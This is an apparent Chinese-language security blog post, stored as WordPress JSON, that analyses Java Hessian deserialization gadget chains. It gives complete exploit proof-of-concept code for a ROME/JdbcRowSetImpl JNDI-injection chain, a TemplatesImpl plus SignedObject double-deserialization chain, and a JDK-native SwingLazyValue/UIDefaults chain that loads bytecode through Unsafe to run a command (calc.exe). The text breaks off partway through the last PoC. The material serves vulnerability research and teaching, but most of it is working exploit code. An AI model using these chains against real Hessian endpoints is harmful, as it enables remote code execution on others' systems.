{"id":336,"date":"2026-06-03T01:01:14","date_gmt":"2026-06-02T17:01:14","guid":{"rendered":"https:\/\/arknight.wiki\/?p=336"},"modified":"2026-06-03T01:01:14","modified_gmt":"2026-06-02T17:01:14","slug":"hessian","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/06\/03\/hessian\/","title":{"rendered":"hessian"},"content":{"rendered":"<h1>Hessian \u53cd\u5e8f\u5217\u5316\u94fe<\/h1>\n<h2>\u57fa\u7840\uff1a<\/h2>\n<p>\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\uff1a<\/p>\n<pre><code>package com.example;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport java.io.*;\n\npublic class ObjectTest {\n    public static void main(String[] args) throws Exception {\n        Person test = new Person(\"test\", 1);\n        \/\/ \u5e8f\u5217\u5316\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        new HessianOutput(baos).writeObject(test);\n        System.out.println(baos.toByteArray());\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        Object o = new HessianInput(bais).readObject();\n        System.out.println(o);\n\n    }\n}\n<\/code><\/pre>\n<p>\u4efb\u610f\u7c7b\u90fd\u53ef\u4ee5\u88ab\u5e8f\u5217\u5316\uff0c\u53ea\u8981\u901a\u8fc7<code>!Serializable.class.isAssignableFrom(cl) &amp;&amp; !this._isAllowNonSerializable<\/code>\u6761\u4ef6\u7684\u5224\u65ad\u5373\u53ef\u3002<code>isAllowNonSerializable<\/code>\u662f<code>SerializerFactory<\/code>\u7684\u5b57\u6bb5\uff0c\u6211\u4eec\u5c06\u5176\u8bbe\u7f6e\u4e3a<code>ture<\/code>\u5373\u53ef\u5e8f\u5217\u5316\u4efb\u610f\u7c7b\u3002<\/p>\n<pre><code>SerializerFactory serializerFactory = new SerializerFactory();\nserializerFactory.setAllowNonSerializable(true);<\/code><\/pre>\n<p>\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li>\u8d77\u59cb\u65b9\u6cd5\u53ea\u80fd\u4e3a hashCode\/equals\/compareTo \u65b9\u6cd5\uff1b<\/li>\n<li>\u5229\u7528\u94fe\u4e2d\u8c03\u7528\u7684\u6210\u5458\u53d8\u91cf\u4e0d\u80fd\u4e3a transient \u4fee\u9970\uff1b<\/li>\n<li>\u6240\u6709\u7684\u8c03\u7528\u4e0d\u4f9d\u8d56\u7c7b\u4e2d readObject \u7684\u903b\u8f91\uff0c\u4e5f\u4e0d\u4f9d\u8d56 getter\/setter \u7684\u903b\u8f91\u3002<\/li>\n<\/ul>\n<p>\u4f9d\u636e\uff1a<\/p>\n<ul>\n<li><code>UnsafeDeserializer<\/code>\u53cd\u5e8f\u5217\u5316\u5668\u7684<code>readMap()<\/code>\u65b9\u6cd5\u662f\u4e0d\u8d70\u6784\u9020\u65b9\u6cd5\u3001getter\u3001setter \u65b9\u6cd5\u7684\u53cd\u5e8f\u5217\u5316\uff0c\u76f8\u5bf9\u5b89\u5168\u4e0d\u53ef\u7528\u3002\u800c<code>MapDeserializer<\/code>\u53cd\u5e8f\u5217\u5316\u5668\u7684<code>readMap<\/code>\u65b9\u6cd5\u4f1a\u6267\u884c <code>map.put()<\/code>\uff0c\u8fdb\u800c\u6267\u884c<code>putVal ==&gt; equals\u3001hash == &gt; hashcode<\/code>\uff0c\u800c\u4e14\u5728 hessian \u4e2d\u5bf9\u4e8e<code>SortedMap<\/code>\uff0c\u5c06\u4f1a\u4f7f\u7528 <code>TreeMap<\/code>\u3002\u800c<code>TreeMap<\/code>\u7684<code>put<\/code>\u65b9\u6cd5\uff0c\u6709<code>compare<\/code>\u65b9\u6cd5\u7684\u8c03\u7528\u3002\u6240\u4ee5\u8fd9\u5c31\u662f\u00a0<strong>\u8d77\u59cb\u65b9\u6cd5\u53ea\u80fd\u4e3a<code>hashCode\/equals\/compareTo<\/code>\u65b9\u6cd5<\/strong>\u00a0\u7684\u539f\u56e0<\/li>\n<li>\u5e8f\u5217\u5316\u65f6\u00a0<code>transient<\/code>\u00a0\u548c\u00a0<code>static<\/code>\u00a0\u4fee\u9970\u7b26\u7684\u5b57\u6bb5\u5e76\u6ca1\u6709\u6dfb\u52a0\u5230\u00a0<code>_fields[]<\/code>\u00a0\u6570\u7ec4\u4e2d\uff0c\u4e0d\u4f1a\u8fdb\u884c\u5e8f\u5217\u5316\u3002<\/li>\n<li>\u901a\u8fc7 unsafe \u53cd\u5e8f\u5217\u5316\u5668\u5b9e\u4f8b\u5316\u7c7b\u65f6\uff0c\u6211\u4eec\u90fd\u77e5\u9053 unsafe \u662f\u4e0d\u4f1a\u6267\u884c\u7c7b\u6784\u9020\u5668\u548c getter\u3001setter \u7b49\u65b9\u6cd5\u7684\uff0c\u6240\u4ee5 \u53cd\u5e8f\u5217\u5316\u94fe\u7684\u6761\u4ef6\u00a0<strong>\u6240\u6709\u7684\u8c03\u7528\u4e0d\u4f9d\u8d56\u7c7b\u4e2d readObject \u7684\u903b\u8f91\uff0c\u4e5f\u4e0d\u4f9d\u8d56 getter\/setter \u7684\u903b\u8f91<\/strong>\u00a0\u4e5f\u5c31\u7406\u89e3\u4e86\u3002\u4e00\u822c\u662f\u901a\u8fc7\u5b9e\u4f8b\u5316\u5bf9\u8c61\u5199\u5165\u6076\u610f\u5b57\u6bb5\u503c\u540e\u518d\u8c03\u7528\u8be5\u5bf9\u8c61\u7684\u67d0\u4e2a\u65b9\u6cd5\u5f62\u6210\u653b\u51fb\uff0c\u5982jndi\u6ce8\u5165\u5199\u5165\u6076\u610furl\u3002<\/li>\n<\/ul>\n<h2>Remo \u94fe\uff1a<\/h2>\n<h3>\u4f9d\u8d56\uff1a<\/h3>\n<pre><code>&lt;dependency&gt;\n&lt;groupId&gt;rome&lt;\/groupId&gt;\n&lt;artifactId&gt;rome&lt;\/artifactId&gt;\n&lt;version&gt;1.0&lt;\/version&gt;\n&lt;\/dependency&gt;<\/code><\/pre>\n<h3>\u8c03\u7528\u94fe\uff1a<\/h3>\n<pre><code>JdbcRowSetImpl.getDatabaseMetaData()\nToStringBean.toString() (com.sun.syndication.feed.impl)\nEqualsBean.beanHashCode() (com.sun.syndication.feed.impl)\nEqualsBean.hashCode()\nHashMap.hash()\nHashMap.put()\nMapDeserializer.readMap()\nSerializerFactory.readMap()\nHessianInput.readObject()<\/code><\/pre>\n<h3>exp\uff1a<\/h3>\n<pre><code>package com.example;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.sun.rowset.JdbcRowSetImpl;\nimport com.sun.syndication.feed.impl.EqualsBean;\nimport com.sun.syndication.feed.impl.ToStringBean;\nimport javax.security.auth.login.Configuration;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Vector;\n\npublic class HessianRomeJDBC {\n    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n    public static void main(String[] args) throws Exception {\n        System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\");\n        System.setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\");\n        \/\/ \u521b\u5efaJdbcRowSetImpl\n        String url = \"ldap:\/\/127.0.0.1:1389\/Basic\/Command\/calc\";\n        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();\n        jdbcRowSet.setDataSourceName(url);\n        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);\n        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);\n        HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();\n        hashMap.put(equalsBean, \"test\");\n\n        \/\/ \u81ea\u4e0a\u800c\u4e0b\u6267\u884c getter\u3001setter\u65b9\u6cd5\uff0c\u6dfb\u52a0\u503c\u9632\u6b62\u62a5\u9519\n        Vector&lt;String&gt; strMatchColumns = new Vector&lt;&gt;();\n        strMatchColumns.add(\"username\");\n        setFieldValue(jdbcRowSet,\"strMatchColumns\" ,strMatchColumns);\n\n        FileOutputStream fos = new FileOutputStream(\"hessianJDBC.ser\");\n\/\/        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        HessianOutput ho = new HessianOutput(fos);\n        ho.writeObject(hashMap);\n        ho.close();\n\n        FileInputStream fis = new FileInputStream(\"hessianJDBC.ser\");\n\/\/        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        HessianInput hi = new HessianInput(fis);\n        hi.readObject();\n    }\n}<\/code><\/pre>\n<p>\u7136\u540ejndi\u6ce8\u5165\u5373\u53ef<\/p>\n<h3>\u4ece\u4e0b\u5f80\u4e0a\u7684\u94fe\u8def\u8ddf\u8fdb\uff1a<\/h3>\n<p>\u5165\u53e3\u70b9\uff1a<code>readObject()<\/code>\u65b9\u6cd5\uff1a<\/p>\n<p>\u56e0\u4e3a\u6211\u4eec\u4e22\u7684\u65f6\u4e00\u4e2amap\u5bf9\u8c61\u6240\u4ee5\u6700\u540e\u4f1a\u8d70\u5230<code>_serializerFactory.readMap<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/06\/1ab0fedc-52d0-4cfc-bf42-0aedbd4f24d3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-337\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/06\/1ab0fedc-52d0-4cfc-bf42-0aedbd4f24d3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1557\" height=\"382\"  sizes=\"auto, (max-width: 1557px) 100vw, 1557px\" \/><\/div><\/p>\n<p>\u8ddf\u8fdb\u5230<code>SerializerFactory<\/code>\u7c7b\u7684<code>readMap<\/code>\u65b9\u6cd5<\/p>\n<pre><code>  public Object readMap(AbstractHessianInput in, String type)\n    throws HessianProtocolException, IOException\n  {\n    Deserializer deserializer = getDeserializer(type);\n\n    if (deserializer != null)\n      return deserializer.readMap(in);\n    else if (_hashMapDeserializer != null)\n      return _hashMapDeserializer.readMap(in);\n    else {\n      _hashMapDeserializer = new MapDeserializer(HashMap.class);\n\n      return _hashMapDeserializer.readMap(in);\n    }\n  }<\/code><\/pre>\n<p>\u8fd9\u91cc\u83b7\u53d6\u5230\u7684\u53cd\u5e8f\u5217\u5316\u5668\u4f1a\u662f<code>MapDeserializer<\/code>\uff0c\u7136\u540e\u8c03\u7528<code>readMap<\/code>\u65b9\u6cd5<\/p>\n<pre><code>  public Object readMap(AbstractHessianInput in)\n    throws IOException\n  {\n    Map map;\n\n    if (_type == null)\n      map = new HashMap();\n    else if (_type.equals(Map.class))\n      map = new HashMap();\n    else if (_type.equals(SortedMap.class))\n      map = new TreeMap();\n    else {\n      try {\n        map = (Map) _ctor.newInstance();\n      } catch (Exception e) {\n        throw new IOExceptionWrapper(e);\n      }\n    }\n\n    in.addRef(map);\n\n    while (! in.isEnd()) {\n      map.put(in.readObject(), in.readObject());\n    }\n\n    in.readEnd();\n\n    return map;\n  }\n<\/code><\/pre>\n<p>\u8c03\u7528map\u7684put\u65b9\u6cd5\uff0c\u8fd9\u91ccmap\u662f<code>HashMap<\/code>\u3002<\/p>\n<pre><code>    public V put(K key, V value) {\n        return putVal(hash(key), key, value, false, true);\n    }<\/code><\/pre>\n<p>\u8c03\u7528\u5230<code>hash<\/code>\u65b9\u6cd5<\/p>\n<pre><code>    static final int hash(Object key) {\n        int h;\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);\n    }<\/code><\/pre>\n<p>\u7136\u540e\u4f1a\u8d70\u5230<code>key<\/code>\u7684<code>hashCode<\/code>\u65b9\u6cd5\uff0c\u8fd9\u91cc\u7684<code>key<\/code>\u662f<code>EqualsBean<\/code>\u5bf9\u8c61<\/p>\n<pre><code>    public int hashCode() {\n        return beanHashCode();   \n    } \n    public int beanHashCode() {\n        return _obj.toString().hashCode();\n    }<\/code><\/pre>\n<p>\u6700\u540e\u4f1a\u8c03\u7528<code>obj<\/code>\u7684<code>toString<\/code>\u65b9\u6cd5\u3002<\/p>\n<pre><code>    public String toString() {\n        Stack stack = (Stack) PREFIX_TL.get();\n        String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());\n        String prefix;\n        if (tsInfo==null) {\n            String className = _obj.getClass().getName();\n            prefix = className.substring(className.lastIndexOf(\".\")+1);\n        }\n        else {\n            prefix = tsInfo[0];\n            tsInfo[1] = prefix;\n        }\n        return toString(prefix);\n    } \n    private String toString(String prefix) {\n        StringBuffer sb = new StringBuffer(128);\n        try {\n            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);\n            if (pds!=null) {\n                for (int i=0;i&lt;pds.length;i++) {\n                    String pName = pds[i].getName();\n                    Method pReadMethod = pds[i].getReadMethod();\n                    if (pReadMethod!=null &amp;&amp;                             \/\/ ensure it has a getter method\n                        pReadMethod.getDeclaringClass()!=Object.class &amp;&amp; \/\/ filter Object.class getter methods\n                        pReadMethod.getParameterTypes().length==0) {     \/\/ filter getter methods that take parameters\n                        Object value = pReadMethod.invoke(_obj,NO_PARAMS);\n                        printProperty(sb,prefix+\".\"+pName,value);\n                    }\n                }\n            }\n        }\n        catch (Exception ex) {\n            sb.append(\"nnEXCEPTION: Could not complete \"+_obj.getClass()+\".toString(): \"+ex.getMessage()+\"n\");\n        }\n        return sb.toString();\n    }<\/code><\/pre>\n<p>\u7136\u540e\u4e00\u4e2a\u4e2a\u53cd\u5c04\u8c03\u7528\u8fd9\u91cc<code>obj<\/code>\u7684<code>getter<\/code>\u65b9\u6cd5\uff0c\u6700\u540e\u8c03\u7528\u5230<code>getDatabaseMetaData<\/code>\u65b9\u6cd5\u89e6\u53d1<code>connect()<\/code>\u65b9\u6cd5\u89e6\u53d1\u8fde\u63a5\u4ea7\u751fjndi\u6ce8\u5165<\/p>\n<p>\u8fd9\u91cc\u7531\u4e8eTemplatesImpl \u7684\u00a0<code>_tfactory<\/code>\u00a0\u5c5e\u6027\u4e3a transient \uff0c\u4e0d\u80fd\u8fdb\u884c\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316\uff0c\u6240\u4ee5TemplatesImpl \u7684 getOutputProperties() \u65b9\u6cd5\u4e0d\u53ef\u7528<br \/>\nTemplatesImpl+SignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\uff1a<\/p>\n<hr \/>\n<p>\u770b\u539f\u751f\u7c7b<code>SignedObject<\/code>\u7684<code>getObject()<\/code>\u65b9\u6cd5\u8c03\u7528<code>readObject()<\/code>\u65b9\u6cd5\uff0c\u53ef\u4ee5\u6253\u539f\u751f\u53cd\u5e8f\u5217\u5316\u94fe<\/p>\n<p>poc\uff1a<\/p>\n<pre><code>package com.example;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.syndication.feed.impl.EqualsBean;\nimport com.sun.syndication.feed.impl.ToStringBean;\nimport javax.xml.transform.Templates;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.lang.reflect.Field;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.security.*;\nimport java.util.HashMap;\n\npublic class ObjectTest {\n    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n    public static void main(String[] args) throws Exception {\n        byte[] evilBytes = Files.readAllBytes(Paths.get(\"C:\\Users\\inex\\IdeaProjects\\cc\\classtobytes\\src\\main\\java\\org\\example\\DecodedTest.class\"));\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_name\", \"evil\");\n        setFieldValue(templates, \"_bytecodes\", new byte[][]{evilBytes});\n        \/\/ \u7b2c\u4e00\u6b21\u5c01\u88c5\uff0c\u8d70\u7b2c\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\n        ToStringBean toStringBean = new ToStringBean(String.class,\"aaa\");\n        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);\n        HashMap&lt;Object, Object&gt; hashMap2 = new HashMap&lt;&gt;();\n        hashMap2.put(equalsBean, \"test\");\n        setFieldValue(toStringBean,\"_beanClass\", Templates.class);\n        setFieldValue(toStringBean,\"_obj\",templates);\n\n        \/\/ \u7b2c\u4e8c\u6b21\u5c01\u88c5\uff0c\u8d70 Remo \u94fe\u53cd\u5e8f\u5217\u5316\n        \/\/ \u521d\u59cb\u5316 SignedObject\n        \/\/ \u751f\u6210\u5bc6\u94a5\u5bf9\n        KeyPairGenerator keyGen = KeyPairGenerator.getInstance(\"RSA\");\n        keyGen.initialize(2048);\n        KeyPair keyPair = keyGen.generateKeyPair();\n        PrivateKey privateKey = keyPair.getPrivate();\n        PublicKey publicKey = keyPair.getPublic();\n        \/\/ \u521b\u5efa\u7b7e\u540d\u5bf9\u8c61\n        Signature signature = Signature.getInstance(\"SHA1withRSA\"); \/\/ \u6216\u5176\u4ed6\u5408\u9002\u7684\u7b97\u6cd5\n        SignedObject signedObject = new SignedObject(hashMap2, privateKey, signature);\n        ToStringBean toStringBean1 = new ToStringBean(String.class, \"signedObject\");\n        EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);\n        HashMap&lt;Object, Object&gt; hashMap1 = new HashMap&lt;&gt;();\n        hashMap1.put(equalsBean1, \"test\");\n        setFieldValue(toStringBean1, \"_beanClass\", SignedObject.class);\n        setFieldValue(toStringBean1, \"_obj\", signedObject);\n\n        \/\/ \u5e8f\u5217\u5316\n        FileOutputStream fos = new FileOutputStream(\"hessian.ser\");\n        HessianOutput ho = new HessianOutput(fos);\n        ho.writeObject(hashMap1);\n        ho.flush();\n\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        FileInputStream fis = new FileInputStream(\"hessian.ser\");\n        HessianInput hessianInput = new HessianInput(fis);\n        hessianInput.readObject();\n    }\n}<\/code><\/pre>\n<h2>jdk \u539f\u751f\u94fe\uff1a<\/h2>\n<p>\u8c03\u7528\u94fe\uff1a<\/p>\n<pre><code>createValue:67, SwingLazyValue (sun.swing)\ngetFromHashtable:216, UIDefaults (javax.swing)\nget:161, UIDefaults (javax.swing)\nequals:813, Hashtable (java.util)\nequals:813, Hashtable (java.util)\nputVal:634, HashMap (java.util)\nput:611, HashMap (java.util)\nreadMap:114, MapDeserializer (com.caucho.hessian.io)\nreadMap:577, SerializerFactory (com.caucho.hessian.io)\nreadObject:1160, HessianInput (com.caucho.hessian.io)\n<\/code><\/pre>\n<p>\u7528\u5230\u7684test\u7c7b\u4ee3\u7801\uff1a<\/p>\n<pre><code>package com.example;\n\nimport java.io.IOException;\n\npublic class test {\n    static {\n        try {\n            Runtime.getRuntime().exec(\"calc.exe\");\n        } catch (IOException e) {\n        }\n    }\n}\n<\/code><\/pre>\n<h3>\u94fe\u8def\u8ddf\u8fdb\uff1a<\/h3>\n<p>\u4ece\u4e4b\u524d<code>MapDeserializer<\/code>\u7c7b\u7684<code>readMap<\/code>\u65b9\u6cd5\u5f00\u59cb\uff0c\u8fd9\u91cc\u8c03\u7528\u4e86<code>HashMap<\/code>\u7684<code>put<\/code>\u65b9\u6cd5<\/p>\n<pre><code>  public Object readMap(AbstractHessianInput in)\n    throws IOException\n  {\n    Map map;\n\n    if (_type == null)\n      map = new HashMap();\n    else if (_type.equals(Map.class))\n      map = new HashMap();\n    else if (_type.equals(SortedMap.class))\n      map = new TreeMap();\n    else {\n      try {\n        map = (Map) _ctor.newInstance();\n      } catch (Exception e) {\n        throw new IOExceptionWrapper(e);\n      }\n    }\n\n    in.addRef(map);\n\n    while (! in.isEnd()) {\n      map.put(in.readObject(), in.readObject());\n    }\n\n    in.readEnd();\n\n    return map;\n  }<\/code><\/pre>\n<p>\u7136\u540e\u5728\u8be5\u7c7b\u4e0b\u8ddf\u5230<code>Hashtable<\/code>\u7c7b\u7684<code>equals<\/code>\u65b9\u6cd5<\/p>\n<pre><code>    public V put(K key, V value) {\n        return putVal(hash(key), key, value, false, true);\n    }\n\n    \/**\n     * Implements Map.put and related methods\n     *\n     * @param hash hash for key\n     * @param key the key\n     * @param value the value to put\n     * @param onlyIfAbsent if true, don't change existing value\n     * @param evict if false, the table is in creation mode.\n     * @return previous value, or null if none\n     *\/\n    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,\n                   boolean evict) {\n        Node&lt;K,V&gt;[] tab; Node&lt;K,V&gt; p; int n, i;\n        if ((tab = table) == null || (n = tab.length) == 0)\n            n = (tab = resize()).length;\n        if ((p = tab[i = (n - 1) &amp; hash]) == null)\n            tab[i] = newNode(hash, key, value, null);\n        else {\n            Node&lt;K,V&gt; e; K k;\n            if (p.hash == hash &amp;&amp;\n                ((k = p.key) == key || (key != null &amp;&amp; key.equals(k))))<\/code><\/pre>\n<p>\u7136\u540e\u8c03\u7528\u5230<code>UIDefaults<\/code>\u7c7b\u7684<code>get<\/code>\u65b9\u6cd5\uff0c<\/p>\n<pre><code>    public synchronized boolean equals(Object o) {\n        if (o == this)\n            return true;\n\n        if (!(o instanceof Map))\n            return false;\n        Map&lt;?,?&gt; t = (Map&lt;?,?&gt;) o;\n        if (t.size() != size())\n            return false;\n\n        try {\n            Iterator&lt;Map.Entry&lt;K,V&gt;&gt; i = entrySet().iterator();\n            while (i.hasNext()) {\n                Map.Entry&lt;K,V&gt; e = i.next();\n                K key = e.getKey();\n                V value = e.getValue();\n                if (value == null) {\n                    if (!(t.get(key)==null &amp;&amp; t.containsKey(key)))\n                        return false;\n                } else {\n                    if (!value.equals(t.get(key)))\n                        return false;\n                }\n            }\n        } catch (ClassCastException unused)   {\n            return false;\n        } catch (NullPointerException unused) {\n            return false;\n        }\n\n        return true;\n    }<\/code><\/pre>\n<p>\u7136\u540e\u8ddf\u5230<code>getFromHashtable<\/code>\u65b9\u6cd5\u6700\u540e\u8d70\u5230<code>createValue<\/code>\u65b9\u6cd5<\/p>\n<pre><code>    public Object get(Object key) {\n        Object value = getFromHashtable( key );\n        return (value != null) ? value : getFromResourceBundle(key, null);\n    }\n\n    \/**\n     * Looks up up the given key in our Hashtable and resolves LazyValues\n     * or ActiveValues.\n     *\/\n    private Object getFromHashtable(Object key) {\n        \/* Quickly handle the common case, without grabbing\n         * a lock.\n         *\/\n        Object value = super.get(key);\n        if ((value != PENDING) &amp;&amp;\n            !(value instanceof ActiveValue) &amp;&amp;\n            !(value instanceof LazyValue)) {\n            return value;\n        }\n\n        \/* If the LazyValue for key is being constructed by another\n         * thread then wait and then return the new value, otherwise drop\n         * the lock and construct the ActiveValue or the LazyValue.\n         * We use the special value PENDING to mark LazyValues that\n         * are being constructed.\n         *\/\n        synchronized(this) {\n            value = super.get(key);\n            if (value == PENDING) {\n                do {\n                    try {\n                        this.wait();\n                    }\n                    catch (InterruptedException e) {\n                    }\n                    value = super.get(key);\n                }\n                while(value == PENDING);\n                return value;\n            }\n            else if (value instanceof LazyValue) {\n                super.put(key, PENDING);\n            }\n            else if (!(value instanceof ActiveValue)) {\n                return value;\n            }\n        }\n\n        \/* At this point we know that the value of key was\n         * a LazyValue or an ActiveValue.\n         *\/\n        if (value instanceof LazyValue) {\n            try {\n                \/* If an exception is thrown we'll just put the LazyValue\n                 * back in the table.\n                 *\/\n                value = ((LazyValue)value).createValue(this);\n            }\n            finally {\n                synchronized(this) {\n                    if (value == null) {\n                        super.remove(key);\n                    }\n                    else {\n                        super.put(key, value);\n                    }\n                    this.notifyAll();\n                }\n            }\n        }\n        else {\n            value = ((ActiveValue)value).createValue(this);\n        }\n\n        return value;\n    }\n<\/code><\/pre>\n<p><code>SwingLazyValue<\/code>\u7c7b\u7684<code>createValue<\/code>\u65b9\u6cd5\u6709\u53cd\u5c04\u8c03\u7528\uff1a<\/p>\n<pre><code>    public Object createValue(final UIDefaults table) {\n        try {\n            ReflectUtil.checkPackageAccess(className);\n            Class&lt;?&gt; c = Class.forName(className, true, null);\n            if (methodName != null) {\n                Class[] types = getClassArray(args);\n                Method m = c.getMethod(methodName, types);\n                makeAccessible(m);\n                return m.invoke(c, args);\n            } else {\n                Class[] types = getClassArray(args);\n                Constructor constructor = c.getConstructor(types);\n                makeAccessible(constructor);\n                return constructor.newInstance(args);\n            }\n        } catch (Exception e) {\n            \/\/ Ideally we would throw an exception, unfortunately\n            \/\/ often times there are errors as an initial look and\n            \/\/ feel is loaded before one can be switched. Perhaps a\n            \/\/ flag should be added for debugging, so that if true\n            \/\/ the exception would be thrown.\n        }\n        return null;\n    }<\/code><\/pre>\n<p>\u8d70\u5230\u8fd9\u91cc\u57fa\u672c\u5c31\u53ef\u4ee5rce\u4e86\u3002<\/p>\n<p>poc\uff1a<\/p>\n<p>rce\u540e\u90e8\u91c7\u7528<code>MethodUtil.invoke<\/code>-&gt;<code>Unsafe.defineClass<\/code>\u52a0\u8f7d\u5b57\u8282\u7801<\/p>\n<pre><code>package com.example;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.caucho.hessian.io.SerializerFactory;\nimport sun.misc.Unsafe;\nimport sun.reflect.misc.MethodUtil;\nimport sun.swing.SwingLazyValue;\nimport javax.swing.*;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.security.ProtectionDomain;\nimport java.util.HashMap;\nimport java.util.Hashtable;\n\n\/**\n * createValue:67, SwingLazyValue (sun.swing)\n * getFromHashtable:216, UIDefaults (javax.swing)\n * get:161, UIDefaults (javax.swing)\n * equals:813, Hashtable (java.util)\n * equals:813, Hashtable (java.util)\n * putVal:634, HashMap (java.util)\n * put:611, HashMap (java.util)\n * readMap:114, MapDeserializer (com.caucho.hessian.io)\n * readMap:577, SerializerFactory (com.caucho.hessian.io)\n * readObject:1160, HessianInput (com.caucho.hessian.io)\n *\/\npublic class ObjectTest {\n    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n    public static void main(String[] args) throws  Exception{\n        \/\/        byte[] evilBytes = getBytecode(test.class);\n        byte[] evilBytes = new byte[]{-54, -2};\n        Class&lt;?&gt; clazz = Class.forName(\"sun.misc.Unsafe\");\n        Field theUnsafe = clazz.getDeclaredField(\"theUnsafe\");\n        theUnsafe.setAccessible(true);\n        Unsafe unsafe = (Unsafe)theUnsafe.get(null);\n        Method defineClass = clazz.getDeclaredMethod(\"defineClass\", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);\n        defineClass.setAccessible(true);\n        Class&lt;?&gt; utilClass = Class.forName(\"sun.reflect.misc.MethodUtil\");\n        Method invoke = utilClass.getDeclaredMethod(\"invoke\", Method.class, Object.class, Object[].class);\n        Object[] defineClassArgs = new Object[]{\"com.example.test\", evilBytes, 0, evilBytes.length, null,null};\n        Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};\n        Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};\n\n        SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), \"invoke\", creatInvokeTypes );\n        \/\/        swingLazyValue.createValue( null);\n        UIDefaults uiDefaults1 = new UIDefaults();\n        UIDefaults uiDefaults2 = new UIDefaults();\n        Hashtable&lt;Object, Object&gt; hashtable1 = new Hashtable&lt;&gt;();\n        Hashtable&lt;Object, Object&gt; hashtable2 = new Hashtable&lt;&gt;();\n        uiDefaults1.put(\"hashtableKey\",swingLazyValue);\n        uiDefaults2.put(\"hashtableKey\",swingLazyValue);\n\n        \/\/   uiDefaults.get(\"test\");\n        hashtable1.put(\"hashtableKey\",uiDefaults1);\n        hashtable2.put(\"hashtableKey\",uiDefaults2);\n        \/\/            hashtable1.equals(uiDefaults);\n        \/\/            hashtable1.equals(hashtable2);\n\n        HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();\n        \/\/            hashMap.put(hashtable1, \"test\");\n        \/\/            hashMap.put(hashtable2, \"test\");\n\n        Class nodeC;\n        try {\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        } catch (ClassNotFoundException e) {\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        nodeCC.setAccessible(true);\n        Object node1 = nodeCC.newInstance(0, hashtable1, \"test\", null);\n        